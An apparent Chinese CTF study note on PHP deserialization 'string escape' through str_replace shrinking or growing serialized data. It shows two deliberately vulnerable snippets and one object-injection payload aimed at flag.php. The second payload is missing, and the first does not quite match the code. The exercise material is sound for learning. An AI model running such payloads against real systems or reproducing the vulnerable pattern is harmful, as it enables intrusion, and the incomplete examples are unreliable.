考点7:字符串逃逸
<aside> 💡
字符串减少
</aside>
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>
逃逸减少的代码通过 str_replace()函数将输入字符串中的 'system()' 替换成了 "" 空字符。
通过这个特性构造payload:
注意!!! 一定有两个可控制参数,前者进行字符减少,后者进行payload参数的注入。
a=\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
<aside> 💡
字符串增多
</aside>
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = 'ls';
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);
var_dump(unserialize($data));
注意!!! 只有一个可控制参数进行payload参数的注入,使得语句提前结束。
通过分析代码,后台将我们输入的字符串中的 'ls' 全部都替换为了 'pwd'。
我们可以利用这个漏洞构造以下payload:
<aside> 💡
总结
</aside>
字符串增多跟减少最大的差异在于:1.可控制参数的不同 。2.无效代码走向。
1.可变参数的不同 。
减少:两个可控制参数。
增多:一个可控制参数。
2.无效代码走向。
减少:两个可控制参数之前,序列化产生的功能代码被吃掉,成为第一个参数的值,逃逸成功。
增多:一个可控制参数后,带入构造功能性代码,使得序列化代码提前结束,后面自己产生的序 列化代码无效。